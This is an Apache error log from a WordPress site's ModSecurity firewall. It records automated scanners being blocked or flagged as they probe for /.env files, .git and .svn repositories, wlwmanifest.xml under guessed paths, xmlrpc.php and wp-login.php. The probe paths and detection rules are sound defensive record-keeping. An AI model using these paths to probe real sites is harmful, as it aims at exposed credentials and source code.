[Fri Dec 05 03:48:56.348219 2025] [:error] [pid 5190:tid 5269] [client 34.68.39.129:53976] [client 34.68.39.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aTHlqI-wOT9g6VwmWflYqQAAAJQ"]
[Fri Dec 05 03:48:57.397701 2025] [:error] [pid 5188:tid 5204] [client 34.68.39.129:61269] [client 34.68.39.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aTHlqUQDYAFnrrRh0Bo_MAAAAAk"]
[Fri Dec 05 03:48:58.465891 2025] [:error] [pid 5190:tid 5254] [client 34.68.39.129:64845] [client 34.68.39.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aTHlqo-wOT9g6VwmWflYsAAAAIU"]
[Fri Dec 05 03:48:59.485660 2025] [:error] [pid 5188:tid 5210] [client 34.68.39.129:52621] [client 34.68.39.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aTHlq0QDYAFnrrRh0Bo_NwAAAA8"]
[Fri Dec 05 03:49:00.506144 2025] [:error] [pid 5283:tid 5288] [client 34.68.39.129:52320] [client 34.68.39.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aTHlrMrOYoyF7_2EYK6WRQAAAMM"]
[Fri Dec 05 03:49:01.735096 2025] [:error] [pid 5283:tid 5287] [client 34.68.39.129:60773] [client 34.68.39.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aTHlrcrOYoyF7_2EYK6WSwAAAMI"]
[Fri Dec 05 03:49:02.715366 2025] [:error] [pid 5188:tid 5210] [client 34.68.39.129:49170] [client 34.68.39.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aTHlrkQDYAFnrrRh0Bo_VwAAAA8"]
[Fri Dec 05 03:49:03.659222 2025] [:error] [pid 5188:tid 5203] [client 34.68.39.129:62473] [client 34.68.39.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aTHlr0QDYAFnrrRh0Bo_aAAAAAg"]
[Fri Dec 05 03:49:04.662842 2025] [:error] [pid 5190:tid 5253] [client 34.68.39.129:50254] [client 34.68.39.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aTHlsI-wOT9g6VwmWflZNgAAAIQ"]
[Fri Dec 05 03:49:05.715934 2025] [:error] [pid 5283:tid 5287] [client 34.68.39.129:63147] [client 34.68.39.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aTHlscrOYoyF7_2EYK6WcgAAAMI"]
[Fri Dec 05 04:07:26.634868 2025] [:error] [pid 53838:tid 53891] [client 177.37.143.153:29788] [client 177.37.143.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.37.143.153, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aTHp_p8M7CH_vMhLrzLJ4QAAAFY"]
[Fri Dec 05 05:24:47.911320 2025] [:error] [pid 53837:tid 53859] [client 34.187.224.241:59234] [client 34.187.224.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aTH8HzbsUyTxys8OiMIOTgAAABE"]
[Fri Dec 05 08:41:28.086589 2025] [:error] [pid 53923:tid 53941] [client 18.237.178.203:42904] [client 18.237.178.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/"] [unique_id "aTIqOLl8ebZN0VCAVXBTXgAAANA"]
[Fri Dec 05 08:41:29.088361 2025] [:error] [pid 53838:tid 53888] [client 18.237.178.203:42906] [client 18.237.178.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aTIqOZ8M7CH_vMhLrzJHcwAAAFM"]
[Fri Dec 05 11:02:49.834293 2025] [:error] [pid 53837:tid 53859] [client 20.121.140.28:45300] [client 20.121.140.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aTJLWTbsUyTxys8OiMKX2QAAABE"]
[Fri Dec 05 11:02:51.412944 2025] [:error] [pid 53923:tid 53941] [client 20.121.140.28:53656] [client 20.121.140.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aTJLW7l8ebZN0VCAVXCbAQAAANA"]
[Fri Dec 05 12:07:15.378970 2025] [:error] [pid 53923:tid 53931] [client 182.44.10.67:47720] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTJac7l8ebZN0VCAVXC-_gAAAMY"]
[Fri Dec 05 12:38:12.826690 2025] [:error] [pid 53837:tid 53864] [client 43.157.181.189:41496] [client 43.157.181.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTJhtDbsUyTxys8OiMKwnwAAABY"]
[Fri Dec 05 13:15:18.637501 2025] [:error] [pid 62720:tid 62737] [client 35.167.205.129:42318] [client 35.167.205.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/"] [unique_id "aTJqZmDTJuF6xQ5UsIO1bwAAAY8"]
[Fri Dec 05 13:15:19.362136 2025] [:error] [pid 53923:tid 53937] [client 35.167.205.129:42320] [client 35.167.205.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aTJqZ7l8ebZN0VCAVXDiLgAAAMw"]
[Fri Dec 05 15:27:42.073207 2025] [:error] [pid 24010:tid 24036] [client 165.232.86.234:57311] [client 165.232.86.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.232.86.234, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aTKJbqtjRoDpxa46mwchRwAAARg"]
[Fri Dec 05 15:27:43.557520 2025] [:error] [pid 62720:tid 62728] [client 165.232.86.234:65456] [client 165.232.86.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.232.86.234, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aTKJb2DTJuF6xQ5UsIPgwgAAAYY"]
[Fri Dec 05 15:57:26.033066 2025] [:error] [pid 53838:tid 53884] [client 176.65.132.18:50824] [client 176.65.132.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aTKQZp8M7CH_vMhLrzLS3QAAAE8"]
[Fri Dec 05 18:02:18.003531 2025] [:error] [pid 24010:tid 24031] [client 49.234.192.248:47822] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTKtqqtjRoDpxa46mwdD1gAAARM"]
[Fri Dec 05 20:43:42.655189 2025] [:error] [pid 18579:tid 18609] [client 45.86.202.168:43787] [client 45.86.202.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aTLTfsAUSulJty2JiBqg-AAAABg"]
[Fri Dec 05 20:43:43.258720 2025] [:error] [pid 35962:tid 35964] [client 45.86.202.166:29111] [client 45.86.202.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aTLTf5-hnYjbYINfh7G5YAAAAEA"]
[Fri Dec 05 20:43:43.866445 2025] [:error] [pid 18579:tid 18589] [client 45.86.202.187:22533] [client 45.86.202.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aTLTf8AUSulJty2JiBqg-gAAAAQ"]
[Fri Dec 05 20:43:44.477823 2025] [:error] [pid 18521:tid 18556] [client 45.86.202.189:39689] [client 45.86.202.189] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aTLTgE_hJ6r18UnAijyD-wAAAMU"]
[Fri Dec 05 22:20:56.872398 2025] [:error] [pid 18614:tid 18624] [client 35.247.143.9:57100] [client 35.247.143.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aTLqSHHum9jj9plt7MWAjgAAAUg"]
[Sat Dec 06 00:16:10.646438 2025] [:error] [pid 21706:tid 21775] [client 182.42.104.32:43568] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTMFSsgkvG4puA99YgFmZQAAAUw"]
[Sat Dec 06 00:57:08.799896 2025] [:error] [pid 21789:tid 21797] [client 43.130.116.87:58230] [client 43.130.116.87] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTMO5P5RGbqUVi6HZ1WX_wAAAEY"]
[Sat Dec 06 01:37:19.046807 2025] [:error] [pid 21706:tid 21763] [client 154.198.81.57:46472] [client 154.198.81.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.198.81.57, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aTMYT8gkvG4puA99YgGP0QAAAUA"]
[Sat Dec 06 03:26:20.169011 2025] [:error] [pid 14203:tid 14257] [client 34.121.133.167:64236] [client 34.121.133.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.121.133.167, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aTMx3FzVRfH_YiKkV3HuIgAAAFU"]
[Sat Dec 06 03:26:22.696974 2025] [:error] [pid 14203:tid 14248] [client 34.121.133.167:64236] [client 34.121.133.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aTMx3lzVRfH_YiKkV3HuNAAAAEw"]
[Sat Dec 06 03:26:23.653644 2025] [:error] [pid 14294:tid 14297] [client 34.121.133.167:49936] [client 34.121.133.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aTMx35Zf8ISAq1_f2DQA3gAAAME"]
[Sat Dec 06 03:26:24.616165 2025] [:error] [pid 14203:tid 14247] [client 34.121.133.167:52303] [client 34.121.133.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aTMx4FzVRfH_YiKkV3HuNgAAAEs"]
[Sat Dec 06 03:26:25.520993 2025] [:error] [pid 14294:tid 14306] [client 34.121.133.167:55407] [client 34.121.133.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aTMx4ZZf8ISAq1_f2DQA4gAAAMo"]
[Sat Dec 06 03:26:26.425953 2025] [:error] [pid 14202:tid 14209] [client 34.121.133.167:59788] [client 34.121.133.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aTMx4l9w0iTK_WWQxnh8JwAAAAM"]
[Sat Dec 06 03:26:27.296029 2025] [:error] [pid 14202:tid 14212] [client 34.121.133.167:58378] [client 34.121.133.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aTMx419w0iTK_WWQxnh8KQAAAAY"]
[Sat Dec 06 03:26:28.403837 2025] [:error] [pid 14204:tid 14274] [client 34.121.133.167:55182] [client 34.121.133.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aTMx5MYbaBoUQNJ0vqweZgAAAIo"]
[Sat Dec 06 03:26:29.485156 2025] [:error] [pid 14294:tid 14299] [client 34.121.133.167:54471] [client 34.121.133.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aTMx5ZZf8ISAq1_f2DQA5wAAAMM"]
[Sat Dec 06 03:26:30.431102 2025] [:error] [pid 14294:tid 14312] [client 34.121.133.167:50561] [client 34.121.133.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aTMx5pZf8ISAq1_f2DQA6wAAANA"]
[Sat Dec 06 03:26:31.305919 2025] [:error] [pid 14294:tid 14308] [client 34.121.133.167:52638] [client 34.121.133.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aTMx55Zf8ISAq1_f2DQA7wAAAMw"]
[Sat Dec 06 03:26:32.248098 2025] [:error] [pid 14294:tid 14307] [client 34.121.133.167:61816] [client 34.121.133.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aTMx6JZf8ISAq1_f2DQA8wAAAMs"]
[Sat Dec 06 03:26:33.187435 2025] [:error] [pid 14294:tid 14301] [client 34.121.133.167:62607] [client 34.121.133.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aTMx6ZZf8ISAq1_f2DQA9wAAAMU"]
[Sat Dec 06 03:26:34.053311 2025] [:error] [pid 14202:tid 14225] [client 34.121.133.167:64883] [client 34.121.133.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aTMx6l9w0iTK_WWQxnh8MAAAABM"]
[Sat Dec 06 03:26:51.837170 2025] [:error] [pid 14204:tid 14278] [client 192.166.246.85:10510] [client 192.166.246.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aTMx-8YbaBoUQNJ0vqwefwAAAI4"]
[Sat Dec 06 03:26:53.316599 2025] [:error] [pid 14202:tid 14207] [client 192.166.246.85:6930] [client 192.166.246.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aTMx_V9w0iTK_WWQxnh8TwAAAAE"]
[Sat Dec 06 03:26:55.222196 2025] [:error] [pid 14294:tid 14304] [client 192.166.246.85:10534] [client 192.166.246.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aTMx_5Zf8ISAq1_f2DQBDAAAAMg"]
[Sat Dec 06 03:26:55.654193 2025] [:error] [pid 14294:tid 14319] [client 192.166.246.85:37030] [client 192.166.246.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aTMx_5Zf8ISAq1_f2DQBDwAAANc"]
[Sat Dec 06 03:26:56.517478 2025] [:error] [pid 14294:tid 14296] [client 192.166.246.85:31334] [client 192.166.246.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.svn/wc.db"] [unique_id "aTMyAJZf8ISAq1_f2DQBEgAAAMA"]
[Sat Dec 06 04:44:16.904012 2025] [proxy_fcgi:error] [pid 35591:tid 35616] [client 172.192.68.20:16200] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Sat Dec 06 04:44:17.019337 2025] [:error] [pid 35591:tid 35612] [client 172.192.68.20:16200] [client 172.192.68.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.192.68.20, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aTNEIYbmw-7bFvTxc9N6pAAAARM"], referer: https://www.yahoo.com/
[Sat Dec 06 04:44:17.024307 2025] [proxy_fcgi:error] [pid 35591:tid 35612] [client 172.192.68.20:16200] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
